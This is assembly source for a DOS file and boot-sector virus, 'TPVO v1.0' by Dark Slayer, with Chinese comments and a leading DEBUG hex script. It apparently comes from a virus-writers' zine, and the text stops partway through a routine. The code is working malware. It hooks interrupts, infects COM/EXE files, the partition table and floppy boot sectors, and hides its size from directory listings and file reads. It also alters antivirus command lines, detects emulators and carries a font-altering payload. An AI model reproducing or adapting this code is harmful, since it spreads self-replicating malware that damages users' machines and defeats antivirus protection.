e 03D0 FE C8 61 C3 32 C0 EB 12 B0 02 EB 0E 32 C0 EB 06
e 03E0 B0 01 EB 02 B0 02 33 C9 33 D2 B4 42 9C FA 2E FF
e 03F0 1E C2 02 C3 20 2D 20 53 74 65 61 6C 74 68 20 64
e 0400 65 6D 6F 20 62 79 20 44 61 72 6B 20 53 6C 61 79
e 0410 65 72 20 6F 66 20 54 50 56 4F 20 2D 20 E9 00 00
e 0420 CD 20
rcx
322
w
q

TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   TPVO v1.0 病毒   Vo
pT OT
VP by Dark Slayer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================

vir_size equ offset vir_end-offset start ; 病毒长度
vir_para_size equ (vir_size+0fh)/10h ; 病毒长度 (para)
vir_sectors equ (vir_size+1ffh)/200h ; 病毒所所需的磁区
mem_size equ offset mem_end-offset start ; 常驻的记忆体大小
mem_para_size equ (mem_size+0fh)/10h ; 常驻的记忆体大小 (para)
stack_size equ 512 ; 病毒在执行档中所需的堆叠
.8086
.model tiny
.code
org 0
start:
mov bp,sp
cli
mov ah,30h
int 21h ; 取 DOS 版本, 顺便利用中断来重定位
; 因为呼叫中断后, CPU 会在堆叠放入返回时的 IP、CS、Flags
delta: mov bp,ss:[bp-6] ; bp = offset delta (返回时的 IP)
cld
lea si,[bp-(offset delta-offset start)] ; 计算偏移
cmp al,3 ; DOS < 3.0?
jl run_host_ ; 是则不常驻
push si es ; 保存 si (病毒偏移)、es (PSP 区段)
xor bx,bx ; bx = 0
mov dx,ds:[bx+2] ; dx = 记忆体顶端
mov ds,bx ; ds = 0
mov ah,4ah
dec bx ; bx = 0ffffh
int 21h ; 修改记忆体
sub dh,5 ; dx = 记忆体顶端 (区段) - 500h
xor ax,ax ; ax = 0
int 12h ; 取主记忆体大小 (kilo)
xchg cx,ax ; cx = ax
jcxz msg ; if cx = 0 then jump
; 因为在 PV 的模拟环境下, 只有模拟部份的中断功能, 其它的中断指向 iret
; 所以在呼叫 int 12h 之前设 ax = 0, 呼叫后... 如果 ax 仍然是 0 的话,
; 表示是在 PV 的模拟环境下, 则我们跳到一处非程式码的地方
mov ah,26h
cmp byte ptr ds:[4f1h],0eah ; 0:4f1h = 0eah?
je run_host ; 是的话... 表示已经常驻, 就不需再常驻
int 21h ; 在记忆体顶端 - 500h 处制造一个 PSP
; 目的在于覆盖 COMMAND.COM 的非常驻部份, 以便感染 COMMAND.COM
mov ah,4ah
sub bx,mem_para_size+1
int 21h ; 缩减记忆体大小 (空出一块空间以便常驻)
jc run_host
add ax,bx
mov ds,ax ; ds 指向此空间的 MCB
xor di,di
add word ptr ds:mcb_onwer_seg[di],8 ; 将此 MCB 设为系统属性
inc ax
mov es,ax ; es = 常驻的目的地
mov cx,vir_size
lea ax,run_host[si]-offset start
push cs ax
mov ax,offset high_mem_code
push es ax
rep movs byte ptr es:[di],cs:[si] ; 搬移至高记忆体区
retf ; 跳至高记忆体区
run_host: pop es si ; 取出 si (病毒偏移)、es (PSP 区段)
run_host_: push cs
pop ds ; ds = cs
jmp $+2 ; 在感染 COM 档时会将此 jmp 设为 jmp $+2
; 感染 EXE 档时则会将此 jmp 设为 jmp exe_host
host_select_jmp = byte ptr $-1
com_host: mov di,100h-1 ; di = 0ffh
scasb ; di = di + 1 = 0ffh + 1 = 100h
push di ; push 100h (COM 档开始处)
add si,offset host_header ; 原档头资料
movsb ; 恢复原档案开头的 3 bytes
movsw
ret ; 返回 (执行原档案)
exe_host: mov ax,es ; ax = PSP
add ax,10h ; ax = PSP + 10h
add ds:host_header[eh_cs+si],ax ; 计算 exe 的 cs 值
add ax,ds:host_header[eh_ss+si] ; 计算 exe 的 ss 值
cli
mov ss,ax ; 修改堆叠至原 exe 档
mov sp,ds:host_header[eh_sp+si]
sti
push es
pop ds ; ds = es = PSP
jmp dword ptr cs:host_header[eh_ip+si]
; 跳至原档案
msg: db ' HI! This is [TPVO] virus was written by '
db 'Dark Slayer in Keelung, Taiwan. '
db 'keep in mind... '
db 'The TPVO is "Taiwan Power Virus Organization" '
high_mem_code: call set_int13_21_2f ; 拦中断 int 13h、21h、2fh
xor si,si ; si = 0
mov ah,51h
int 21h ; 取 PSP 区段
mov ds,bx ; ds = PSP 区段
mov cx,ds:[si+2ch] ; cx = 环境变数区段
jcxz infect_partition ; if cx = 0 then jump to
; infect_partition
; 在开机时, 如果病毒从被感染的 COMMAND.COM 启动的话, 则环境变数区段 = 0
mov ds,cx
find_host_name: inc si
cmp word ptr ds:[si],0 ; 搜寻目前的执行档名
jne find_host_name
lodsw ; si = si + 2
lodsw
mov dx,si ; ds:dx = 目前的执行档名
call comp_av_name ; 比较是否为防毒程式的档名?
jne infect_partition ; 不是则离开
xchg dx,ax
mov es,bx
mov bx,80h ; es:ax = PSP:80h = DOS 命令列参数
call move_av_command ; 修改防毒程式的命令列参数
infect_partition: ; 感染硬碟分割表
mov ax,201h
mov bx,offset disk_buffer
push cs
pop es
mov cx,1
mov dx,80h
int 13h ; 因为已经拦 int 13h 了, 所以读取的动作也会感染
retf ; 返回去执行原程式
; 取中断向量位址
; input: al = 中断编号
; output: es:bx 指向此中断的位址
get_int: push ax
cbw
add ax,ax
add ax,ax
xchg bx,ax
xor ax,ax
mov es,ax
les bx,es:[bx]
pop ax
ret
; 设中断向量位址
; input: al = 中断编号
; ds:dx 指向新中断的位址
set_int: push ax bx ds
cbw
add ax,ax
add ax,ax
xchg bx,ax
push ds
xor ax,ax
mov ds,ax
mov ds:[bx],dx
pop ds:[bx+2]
pop ds bx ax
ret
; 设中断向量 13h、21h、2fh
set_int13_21_2f:mov byte ptr cs:active_flag,0 ; 发作旗标 = 0 (不发作)
mov al,13h
mov dx,offset int13
mov si,offset old13
mov di,4f1h
call set_int_far_jmp
; 设中断向量 21h、2fh
set_int21_2f: mov al,21h
mov dx,offset int21
mov si,offset old21
mov di,4f6h
call set_int_far_jmp
mov al,2fh
mov dx,offset int2f
mov si,offset old2f
set_int_far_jmp:call get_int
mov cs:[si],bx
mov cs:[si+2],es
xor bx,bx
mov ds,bx
mov byte ptr ds:[di],0eah
mov ds:[di+1],dx
mov ds:[di+1+2],cs
mov dx,di
call set_int
add di,5
ret
boot_code: cli ; 启动磁区的程式码 (floppy boot & hd partition 共用)
xor bx,bx
mov ss,bx ; ss = bx = 0
mov sp,7c00h ; ss:sp = 0:7c00h
boot_mark: mov es,sp ; es = 7c00h
mov ax,200h+vir_sectors+1 ; 读取磁区 vir_sectors + 1
mov cx,0
vir_body_cx = word ptr $-2 ; 病毒身体存放处的 cx 值 (for int 13h)
mov dx,0
vir_body_dx = word ptr $-2 ; 病毒身体存放处的 dx 值 (for int 13h)
int 13h ; 读取病毒身体
jc $ ; if error then do infinite loop
db 0eah ; jmp far to 7c00h:boot_start
dw offset boot_start,7c00h
boot_rnd dw ? ; boot_rnd for disk cache
boot_code_end:
boot_start: cld
mov byte ptr cs:int13,3ch ; 设 int 13h 检查 int 21h
; 以便拦截
call set_int13_21_2f ; 拦 int 13h
xor ax,ax
mov es,ax ; es = 0
mov si,vir_sectors*512 ; si 指向原启动磁区
mov di,sp ; di = 7c00h
mov cx,512/2
push es di
rep movs word ptr es:[di],cs:[si]
; 将原启动磁区搬至 0000:7c00h
call get_date ; 取日期, 返回后 al = 月份, ah = 日期
sub al,0
infected_month = byte ptr $-1 ; al = al - 被感染的月份
jb next_year
cmp al,2
jbe dont_act ; 感染还没超过两个月则离开
next_year: shr ah,1 ; 日期为单数?
jc dont_act ; 是则离开
in al,40h ; 取乱数
test al,11b
jnz dont_act ; 有 3/4 不发作的机率
int 11h ; 取设备资讯
and al,30h
cmp al,30h
je dont_act ; 是单色萤幕则不发作
inc byte ptr cs:active_flag ; 设发作旗标
dont_act: retf
; 取系统日期
; input: none
; output: al = month, ah = day
get_date: push cx dx
mov ah,4
int 1ah
xchg dx,ax
xchg al,ah
pop dx cx
ret
; 附上硬碟直接 IO 的资料
; Technical Information on the ports:
; Port Read/Write Misc
; ------ ------------ -------------------------------------------------
; 1f0 r/w data register, the bytes are written/read here
; 1f1 r error register (look these values up yourself)
; 1f2 r/w sector count, how many sectors to read/write
; 1f3 r/w sector number, the actual sector wanted
; 1f4 r/w cylinder low, cylinders is 0-1024
; 1f5 r/w cylinder high, this makes up the rest of the 1024
; 1f6 r/w drive/head
; bit 7 = 1
; bit 6 = 0
; bit 5 = 1
; bit 4 = 0 drive 0 select
; = 1 drive 1 select
; bit 3-0 head select bits
; 1f7 r status register
; bit 7 = 1 controller is executing a command
; bit 6 = 1 drive is ready
; bit 5 = 1 write fault
; bit 4 = 1 seek complete
; bit 3 = 1 sector buffer requires servicing
; bit 2 = 1 disk data read corrected
; bit 1 = 1 index - set to 1 each revolution
; bit 0 = 1 previous command ended in an error
; 1f7 w command register
; commands:
; 50h format track
; 20h read sectors with retry
; 21h read sectors without retry
; 22h read long with retry
; 23h read long without retry
; 30h write sectors with retry
; 31h write sectors without retry
; 32h write long with retry
; 33h write long without retry

; 输出 IO 并检查 IO 动作是否完成
; input: al = 要输出的资料
; dx = 要输出的 port 编号
; and ... 参考副程式 io_ready?
out_io_ready?: out dx,al
; 检查 IO 动作是否完成
; input: bp = 如果产生错误, 则跳向 bp 所指的程式
; output: dx 值会加 1 (指向下一个 port)
; CFlag = 0 成功
; CFlag = 1 失败
io_ready?: push ax cx dx
xor cx,cx ; 检查回圈的次数为 10000h 次
mov dl,0f7h ; dx = 1f7h (硬碟状态暂存器)
io_check_loop: in al,dx
xor al,01010000b
test al,11010000b
loopnz io_check_loop ; IO 未完成则继续回圈
pop dx cx ax
jz io_check_ok ; IO 动作正确则离开
stc ; IO 错误, C flag = 1
pop ax
jmp bp
io_check_ok: inc dx
ret
; 检查硬碟是否适用于我们的直接 IO 程式
; input: ds = cs
; output: 硬碟适用于直接 IO 程式 -> 打开 hdio 副程式使用开关
; 硬碟不适用于直接 IO 程式 -> 关闭 hdio 副程式使用开关
hdio_test: mov byte ptr ds:hdio_switch,0ebh ; 先 disable 副程式 hdio
mov bp,offset hdio_test_done
; 如果发生错误则跳至 hdio_test_done
mov dx,1f1h ; dx = 1f1h
call io_ready? ; 检查 IO 是否备妥?
; 返回后 dx = 1f2h -> 磁区读写计数暂存器
mov al,1 ; 只读取一个磁区
call out_io_ready? ; 写入暂存器并检查 IO 是否备妥?
; 返回后 dx = 1f3h -> 磁区编号暂存器
; 磁区编号暂存器 = al = 1
call out_io_ready? ; 写入暂存器并检查 IO 是否备妥?
; 返回后 dx = 1f4h -> 磁轨编号暂存器 (低位元组)
dec ax ; ax = 0 (第 0 轨)
call out_io_ready? ; 写入暂存器并检查 IO 是否备妥?
; 返回后 dx = 1f5h -> 磁轨编号暂存器 (高位元组)
call out_io_ready? ; 写入暂存器并检查 IO 是否备妥?
; 返回后 dx = 1f6h -> 磁轨编号暂存器 (低位元组)
mov al,0a0h ; 第 0 个硬碟, 第 0 面
call out_io_ready? ; 写入暂存器并检查 IO 是否备妥?
; 返回后 dx = 1f7h -> 命令暂存器
mov al,20h ; 命令: 读取磁区
call out_io_ready? ; 写入暂存器并检查 IO 是否备妥?
mov cx,512/2
mov dl,0f0h ; dx = 1f0h -> 资料暂存器
read_1sector: in ax,dx ; 读取
loop read_1sector ; 读取回圈
cmp ax,0aa55h ; 比较磁区的最后一个 word 是否为 0aa55h?
jne hdio_test_done ; 不是则离开
mov byte ptr ds:hdio_switch,79h ; OPcode 79h = jns
; Enable 副程式 hdio
hdio_test_done: ret
int13_write: mov ah,3
or dl,dl
hdio_switch: jns bios13
hdio: push ax cx dx si di bp
mov cs:hdio_sp,sp
mov bp,offset hdio_exit
push ax
push dx
mov dx,1f1h
call io_ready?
call out_io_ready?
mov al,cl
and al,3fh
call out_io_ready?
mov al,ch
call out_io_ready?
xchg cx,ax
mov cl,6
shr al,cl
call out_io_ready?
pop ax
mov cl,4
shl al,cl
or al,ah
or al,0a0h
call out_io_ready?
pop ax
xchg al,ah
shl al,cl
out dx,al
dec cx
shr al,cl
or al,0edh
mov cs:io_code,al
xor cx,cx
mov cl,ah
mov si,bx
mov di,bx
cld
access_loop: call io_ready?
mov dl,0f0h
push cx
mov cx,512/2
access_sector: lods word ptr es:[si]
io_code db ?
stosw
loop access_sector
pop cx
loop access_loop
hdio_exit: mov sp,0
hdio_sp = word ptr $-2
pop bp di si dx cx ax
ret
bios13: pushf
cli
push cs
call i13_exit
ret
i13_exit: db 0eah
old13 dw ?,?
int13: jmp int13_
call save_regs
mov al,21h
call get_int
mov cx,es
jcxz dos_not_ready
cmp ch,8
jae dos_not_ready
cmp byte ptr es:[bx],0cfh
je dos_not_ready
call set_int21_2f
mov byte ptr cs:int13,0ebh
dos_not_ready: call load_regs
int13_: cmp ah,2
jb i13_exit
cmp ah,3
ja i13_exit
cmp cx,1
jne i13_exit
or dh,dh
jnz i13_exit
cmp dl,80h
ja i13_exit
call bios13
jc i13_retf2_
check_boot: push ax bx cx dx si di bp
push ds es
pushf
mov si,bx
push es
pop ds
mov di,offset disk_buffer
mov cx,512/2
cld
push cs
cmp word ptr ds:boot_mark[bx+3eh]-boot_code,0c48eh
jne infect_boot
mov ax,ds:boot_rnd[bx+3eh]-boot_code
cmp ax,0
now_buffer_rnd = word ptr $-2
je move_cache_sect
mov cx,ds:vir_body_cx[bx+3eh]-boot_code
add cl,vir_sectors
mov bx,di
pop es
popf
push ax
mov ax,201h
call bios13
pop ax
pushf
jc i13_retf2
push cs
move_cache_sect:push ds
pop es
pop ds
mov ds:now_buffer_rnd,ax
xchg si,di
mov cx,512/2
rep movsw
i13_retf2: popf
pop es ds
pop bp di si dx cx bx ax
i13_retf2_: retf 2
infect_boot: pop es
rep movsw
push cs
pop ds
mov ds:now_buffer_rnd,cx
cmp word ptr ds:[di-2],0aa55h
jne i13_retf2
or dl,dl
jns infect_floppy
mov ax,1
mov cl,4
check_partition:cmp ah,ds:pt_active_id[di-2-10h]
je non_active
cmp dl,ds:pt_active_id[di-2-10h]
jne i13_retf2
dec ax
jnz i13_retf2
mov bx,di
non_active: sub di,10h
loop check_partition
dec ax
jz i13_retf2
mov al,ds:pt_system_id[bx-2-10h]
cmp al,6
ja i13_retf2
cmp al,4
jae system_id_ok
cmp al,1
i13_retf2_ne: jne i13_retf2
system_id_ok: mov ax,word ptr ds:pt_last_sector[di-2]
mov cx,3fh
and cx,ax
xor ax,cx
sub cx,vir_sectors+1
jbe i13_retf2
inc cx
inc ah
jnz add_track_sect
add al,01000000b
add_track_sect: add cx,ax
push cx dx
call hdio_test
pop dx cx
jmp infect_boot_
infect_floppy: call floopy_write_protected?_
jc i13_retf2
mov ax,ds:bs_sectors[di-200h]
mov cx,4f0fh
cmp ax,960h
je floppy_12m
mov cl,12h
cmp ax,0b40h
jne i13_retf2_ne
floppy_12m: mov ah,18h
call bios13
jc infect_exit
xor ax,ax
mov ds,ax
mov ax,es
xchg di,ds:[1eh*4]
xchg ax,ds:[1eh*4+2]
push di ax ds
mov ax,50ah
mov cx,5001h
mov bx,offset chrn
push cs
pop es
call bios13
pop ds ds:[1eh*4+2] ds:[1eh*4]
jc infect_exit
push cs
pop ds
infect_boot_: call get_date
mov ds:infected_month,al
mov ds:vir_body_cx,cx
push dx
and dl,80h
mov ds:vir_body_dx,dx
pop dx
mov al,vir_sectors
xor bx,bx
call int13_write
jc infect_exit
mov al,1
mov bx,offset disk_buffer
add cl,vir_sectors
call int13_write
jc infect_exit
boot_rnd_cant_be_zero:
in al,40h
mov ah,al
in al,40h
or al,al
jz boot_rnd_cant_be_zero
mov ds:boot_rnd,ax
mov word ptr ds:[bx],3cebh
mov si,offset boot_code
lea di,[bx+3eh]
mov cx,offset boot_code_end-offset boot_code
rep movsb
mov al,1
inc cx
call int13_write
infect_exit: jmp i13_retf2

comp_av_name: mov si,dx ; ds:dx = file name
search_name_point:
lodsb
cmp al,':'
je save_point
cmp al,'\'
jne name_end?
save_point: mov dx,si
name_end?: or al,al
jnz search_name_point
mov si,dx
mov di,offset file_name
push cs
pop es
push di
move_name_loop: lodsb
call b2s
stosb
or al,al
jnz move_name_loop
pop di
mov si,offset av_name
push cs
pop ds
comp_av_name_loop:
lodsb
cbw
mov cx,ax
jcxz comp_av_name_exit
add ax,si
push ax di
repe cmpsb
pop di si
lodsw
jne comp_av_name_loop
comp_av_name_exit:
ret
move_av_command:lea di,[bx+1] ; es:bx = command line
mov si,di ; dx = offset appended command
push es
pop ds
cld
search_0d: lodsb
cmp dx,offset vt_cmd
jne not_vt
cmp al,'/'
jne not_vt
stosb
lodsb
call b2s
cmp al,'m'
jne not_vt
sub byte ptr ds:[bx],2
dec di
lodsb
not_vt: stosb
cmp al,0dh
jne search_0d
mov byte ptr ds:[di-1],' '
mov si,dx
push cs
pop ds
move_cmd: movsb
inc byte ptr es:[bx]
cmp ds:[si-1],al
jne move_cmd
ret
b2s: cmp al,'A'
jb b2s_exit
cmp al,'Z'
ja b2s_exit
or al,20h
b2s_exit: ret
save_regs: mov cs:dos_ds,ds
push ds
push cs
pop ds
pushf
pop ds:dos_flags
mov ds:dos_ax,ax
mov ds:dos_bx,bx
mov ds:dos_cx,cx
mov ds:dos_dx,dx
mov ds:dos_si,si
mov ds:dos_di,di
mov ds:dos_bp,bp
mov ds:dos_es,es
pop ds
ret

int21: call save_regs
mov si,offset dos_function_table-2
push cs
pop ds
cld
check_function_loop:
inc si
inc si
lodsb
or al,al
js int21_exit
cmp al,ah
jne check_function_loop
mov ax,offset int21_exit
push ax
lodsw
shr ax,1
push ax
jnc load_regs
call set_int24
load_regs: mov ax,0
dos_flags = word ptr $-2
push ax
popf
mov ax,0
dos_ds = word ptr $-2
mov ds,ax
mov ax,0
dos_es = word ptr $-2
mov es,ax
mov ax,0
dos_ax = word ptr $-2
mov bx,0
dos_bx = word ptr $-2
mov cx,0
dos_cx = word ptr $-2
mov dx,0
dos_dx = word ptr $-2
mov si,0
dos_si = word ptr $-2
mov di,0
dos_di = word ptr $-2
mov bp,0
dos_bp = word ptr $-2
ret
int21_exit: call unset_int24
call load_regs
jmp_int21: db 0eah
old21 dw ?,?
dos21: pushf
cli
push cs
call jmp_int21
ret
dbw macro a,b,c
db a
dw ((b-offset start) shl 1) or c
endm
dos_function_table:
dbw 11h, dosf_11_12, 0
dbw 12h, dosf_11_12, 0
dbw 3ch, dosf_3c_5b, 0
dbw 3dh, dosf_3d , 1
dbw 3eh, dosf_3e , 1
dbw 3fh, dosf_3f , 0
dbw 40h, dosf_40 , 0
dbw 42h, dosf_42 , 0
dbw 43h, dosf_43_56, 1
dbw 4bh, dosf_4b , 1
dbw 4eh, dosf_4e_4f, 0
dbw 4fh, dosf_4e_4f, 0
dbw 56h, dosf_43_56, 1
dbw 5bh, dosf_3c_5b, 0
dbw 6ch, dosf_6c , 1
db 0ffh
stealth?: mov si,offset helper_name
call comp_name
jne load_regs
pop ax
ret
comp_name: push cs
pop ds
mov di,offset mcb_name
mov ah,51h
call dos21
dec bx
mov es,bx
cn_loop: lodsb
cbw
mov cx,ax
jcxz comp_name_exit
add ax,si
push ax di
repe cmpsb
pop di si
jne cn_loop
comp_name_exit: ret
dosf_11_12: call stealth?
call dos21
call save_regs
cmp al,0ffh
je dir_file_is_clean
mov ah,2fh
call dos21
mov si,bx
mov di,offset file_name
push cs es
pop ds es
cld
lodsb
cmp al,0ffh
jne not_extend_fcb
add si,6
lodsb
not_extend_fcb: mov bx,word ptr ds:dir_size[si-1]
sub bl,6
test bl,7fh
jnz dir_file_is_clean
push si ds
mov cx,8
or al,al
jz now_drive
add al,'A'-1
stosb
mov al,':'
stosb
now_drive: lodsb
cmp al,' '
je no_space
stosb
no_space: loop now_drive
mov al,'.'
stosb
mov cx,3
move_ext_name: lodsb
cmp al,' '
je no_space_
stosb
no_space_: loop move_ext_name
mov es:[di],cl
mov dx,offset file_name
push cs
pop ds
fake_size: call file_infected?
pop ds si
jne dir_file_is_clean
jc dir_file_is_clean
les ax,dword ptr cs:host_size
mov word ptr ds:dir_size[si-1],ax
mov word ptr ds:dir_size[si-1+2],es
dir_file_is_clean:
load_regs_retf: pop ax
call unset_int24
call load_regs
retf 2
dosf_4e_4f: call stealth?
call dos21
call save_regs
jc load_regs_retf
mov ah,2fh
call dos21
push es
pop ds
mov ax,word ptr ds:find_size[bx]
sub al,6
test al,7fh
jnz load_regs_retf
lea dx,find_name[bx]
lea si,find_size[bx]-(dir_size-1)
push si ds
jmp fake_size
dosf_3c_5b: test cl,11100b
jnz dosf_3c_5b_exit
call exe_or_com?
jne dosf_3c_5b_exit
dosf_3c_5b_6c_common:
call load_regs
call dos21
call save_regs
jc dosf_3c_5b_retf
cmp byte ptr cs:dos_ax[1],6ch
jne save_handle
cmp cl,1
je dosf_3c_5b_retf
save_handle: mov cs:dosf_3e_handle,ax
dosf_3c_5b_retf:jmp load_regs_retf
dosf_3c_5b_exit:ret
dosf_6c: test cl,11100b
jnz dosf_3c_5b_exit
call exe_or_com?_
jne dosf_3c_5b_exit
call load_regs
pushf
test bl,1
jz dosf_6c_read_mode
xor bl,11b
dosf_6c_read_mode:
popf
push dx
mov dx,si
call save_regs
call infect_file
call unset_int24
pop cs:dos_dx
jmp dosf_3c_5b_6c_common
dosf_3e: db 81h,0fbh ; cmp bx,xxxx
dosf_3e_handle dw 0ffffh
jne dosf_3e_exit
call handle_infected?
jbe dosf_3e_exit
call get_seek_point
push ax dx bx
call seek_to_head
mov ah,45h
call infect_handle
pop bx cx dx
call seek_from_head
or word ptr cs:dosf_3e_handle,0ffffh
dosf_3e_exit: ret
dosf_3f: call stealth?
call handle_infected?
jne dosf_3e_exit
jc dosf_3e_exit
and word ptr ds:dos_ax,0
call get_seek_point
or dx,dx
jnz read_not_header
cmp ax,18h
jae read_not_header
add ax,offset new_header
xchg si,ax
mov cx,ds:dos_cx
mov di,ds:dos_dx
mov es,ds:dos_ds
cld
move_header: movsb
inc word ptr ds:dos_ax
cmp si,offset new_header+18h
jae move_header_done
loop move_header
move_header_done:
call get_seek_point
add ax,ds:dos_ax
adc dx,0
mov cx,dx
xchg dx,ax
call seek_from_head
read_not_header:mov cx,ds:dos_cx
sub cx,ds:dos_ax
sub ax,ds:host_size
sbb dx,ds:host_size[2]
jb read_less_host_size
xor cx,cx
read_less_host_size:
not ax
not dx
add ax,1
adc dx,0
jnz read_all
cmp cx,ax
jbe read_all
mov cx,ax
read_all: mov dx,ds:dos_dx
add dx,ds:dos_ax
push ds:dos_flags
popf
mov ds,ds:dos_ds
mov ah,3fh
call dos21
pushf
pop cs:dos_flags
jnc read_ok
and word ptr cs:dos_ax,0
read_ok: add cs:dos_ax,ax
jmp load_regs_retf
dosf_40: call handle_infected?
jne dosf_40_exit
jc dosf_40_exit
call floopy_write_protected?
jc dosf_40_exit
call get_seek_point
push ax dx
call seek_to_head
mov ah,40h
mov cx,18h
mov dx,offset new_header
call access
jc dosf_40_exit_
les dx,dword ptr ds:host_size
mov cx,es
call seek_from_head
mov ah,40h
xor cx,cx
call dos21
jc dosf_40_exit_
mov ds:dosf_3e_handle,bx
dosf_40_exit_: pop cx dx
call seek_from_head
dosf_40_exit: ret
dosf_42: call stealth?
cmp al,2
jne dosf_42_exit
call handle_infected?
jne dosf_42_exit
jc dosf_42_exit
les dx,dword ptr ds:host_size
mov cx,es
call seek_from_head
mov byte ptr ds:dos_ax,1
dosf_42_exit: ret
dosf_4b: cmp al,1
ja dosf_42_exit
je already_move
mov ax,cs
cmp ax,7c00h
jne already_move
call move
already_move: call exe_or_com?
jne dosf_4b00_4b01
call comp_av_name
jne dosf_4b00_4b01
push ax
call load_regs
pop dx
les bx,es:pcb_parameter_ptr[bx]
call move_av_command
dosf_4b00_4b01: call load_regs
or al,al
jz infect_file
call infect_file
call load_regs
call file_infected?
jne dosf_4b01_exit
jc dosf_4b01_exit
call load_regs
push bx es
call dos21
call save_regs
pop es di
jc load_regs_retf_
mov si,offset new_header
push cs
pop ds
cld
call check_mz
je dosf_4b01_exe
les di,dword ptr es:pcb_ip[di]
movsb
movsw
jmp load_regs_retf_
dosf_4b01_exit: ret
dosf_4b01_exe: mov ah,51h
call dos21
mov bp,bx
add di,pcb_sp
lds bx,es:[di]
mov cx,ds:[bx]
push cs
pop ds
mov ax,ds:eh_sp[si]
dec ax
dec ax
stosw
xchg bx,ax
lea ax,[bp+10h]
push ax
add ax,ds:eh_ss[si]
stosw
mov ds,ax
mov ds:[bx],cx
push cs
pop ds
mov ax,ds:eh_ip[si]
stosw
pop ax
add ax,ds:eh_cs[si]
stosw
load_regs_retf_:jmp load_regs_retf
dosf_3d: test al,1
jz infect_file
xor al,11b
mov byte ptr cs:dos_ax,al
dosf_43_56:
infect_file: call exe_or_com?
jne dosf_4b_exit
call file_infected?
jbe dosf_4b_exit
call floopy_write_protected?
jc dosf_4b_exit
call load_regs
mov ax,4300h
call dos21
jc dosf_4b_exit
test cl,11100b
jnz dosf_4b_exit
mov cs:file_attr,cx
mov ax,4301h
and cl,0feh
call dos21
jc dosf_4b_exit
call infect_exe_com
call load_regs
mov ax,4301h
mov cx,0
file_attr = word ptr $-2
call dos21
dosf_4b_exit: ret
infect_exe_com: mov ax,3d02h
infect_handle: call dos21
jc infect_exe_com_ret
xchg bx,ax
mov ax,5700h
call dos21
push cs cs
pop ds es
mov ds:file_time,cx
mov ds:file_date,dx
mov ah,3fh
mov cx,18h+4
mov dx,offset new_header
call access
jc dosf_4b_close
mov ds:host_select_jmp,al
mov si,dx
call floopy_write_protected?
jc dosf_4b_close
mov di,offset host_header
sub cx,4
cld
rep movsb
call get_file_size
mov ds:host_size,ax
mov ds:host_size[2],dx
call check_mz
je modify_exe
modify_com: or dx,dx
jnz dosf_4b_close
cmp ax,0ffffh-stack_size-vir_size
ja dosf_4b_close
mov byte ptr ds:[di],0e9h
sub ax,3
mov ds:[di+1],ax
jmp write_me
dosf_4b_close: mov ah,3eh
call dos21
infect_exe_com_ret:
ret
modify_exe: mov bp,10h
cmp dx,bp
jae dosf_4b_close
call calc_sect_mod
sub ax,ds:eh_sects[di]
jnz dosf_4b_close
sub dx,ds:eh_sect_mod[di]
jnz dosf_4b_close
mov cx,ds:eh_max_mem_para[di]
jcxz dosf_4b_close
inc cx
jz max_mem_ok
sub word ptr ds:eh_max_mem_para[di],vir_para_size
jbe dosf_4b_close
max_mem_ok: cmp ax,ds:eh_ovl_num[di]
jne dosf_4b_close
mov ax,ds:eh_1st_rel[di]
cmp ax,40h
jb not_windows_ne
cmp ax,52h
jne dosf_4b_close
not_windows_ne: les cx,dword ptr ds:eh_ip[di]
mov ax,es
cmp ax,ds:eh_ss[di]
je dosf_4b_close
add ax,ds:eh_header_para[di]
imul bp
add ax,cx
adc dx,0
sub ax,2
sbb dx,0
mov cx,dx
xchg dx,ax
call seek_from_head
mov ah,3fh
mov cx,2
mov dx,offset packed_sign
call access
jc dosf_4b_close
cmp word ptr ds:packed_sign,'BR'
je dosf_4b_close
call get_file_size
add ax,vir_size+7fh
adc dx,cx
and al,not 7fh
add ax,6
adc dx,cx
call calc_sect_mod
mov ds:eh_sects[di],ax
mov ds:eh_sect_mod[di],dx
call get_file_size
div bp
sub ax,ds:eh_header_para[di]
mov ds:eh_ip[di],dx
mov ds:eh_cs[di],ax
mov ds:eh_sp[di],(vir_size+stack_size-10h) and 0fffeh
inc ax
mov ds:eh_ss[di],ax
mov byte ptr ds:host_select_jmp,exe_host-host_select_jmp-1
write_me: call seek_to_end
mov ah,40h
mov cx,vir_size
cwd
call access
jc dosf_4b_close_
call seek_to_head
mov ah,40h
mov cx,18h
mov dx,offset new_header
call access
jc dosf_4b_close_
call get_file_size
add ax,7fh
adc dx,0
and al,not 7fh
mov cx,dx
xchg dx,ax
call seek_from_head
mov word ptr ds:vir_mark,'DS'
mov ah,40h
mov cx,6
mov dx,offset vir_mark
call access
dosf_4b_close_: mov ax,5701h
mov cx,0
file_time = word ptr $-2
mov dx,0
file_date = word ptr $-2
call dos21
jmp dosf_4b_close
calc_sect_mod: mov cx,512
div cx
or dx,dx
jz $+3
inc ax
ret
check_mz: cmp word ptr ds:new_header,'ZM'
je its_exe
cmp word ptr ds:new_header,'MZ'
its_exe: ret
move: mov ax,5800h
call dos21
push ax
mov ax,5801h
push ax
mov bx,80h
call dos21
mov ax,5802h
call dos21
xor ah,ah
push ax
mov ax,5803h
push ax
mov bl,1
call dos21
mov ah,48h
mov bx,mem_para_size-1
cmp byte ptr cs:active_flag,0
je alloc_mem
inc bh
alloc_mem: call dos21
dec ax
xchg bp,ax
xor si,si
mov ah,52h
call dos21
mov ax,es:[bx-2]
search_mcb: mov ds,ax
add ax,ds:mcb_para_size[si]
inc ax
cmp ax,bp
jne search_mcb
mov es,ax
mov ax,es:mcb_para_size[si]
inc ax
add ds:mcb_para_size[si],ax
xor di,di
mov cx,mem_size
cld
rep movs byte ptr es:[di],cs:[si]
mov ds,cx
mov ds:[4f1h+3],es
mov ds:[4f1h+3+5],es
mov ds:[4f1h+3+5+5],es
pop ax
pop bx
call dos21
pop ax
pop bx
call dos21
push es
mov ax,offset read_bios_fonts
push ax
retf
read_bios_fonts:cmp byte ptr cs:active_flag,0
je move_done
mov ax,1130h
mov bh,6
int 10h
mov si,bp
push es
pop ds
mov di,offset fonts_buffer+15
push cs
pop es
mov cx,256
modify_fonts: mov dx,16
modify_1font: lodsb
xor ah,ah
mov bl,8
modify_8bit: shr al,1
rcl ah,1
dec bl
jnz modify_8bit
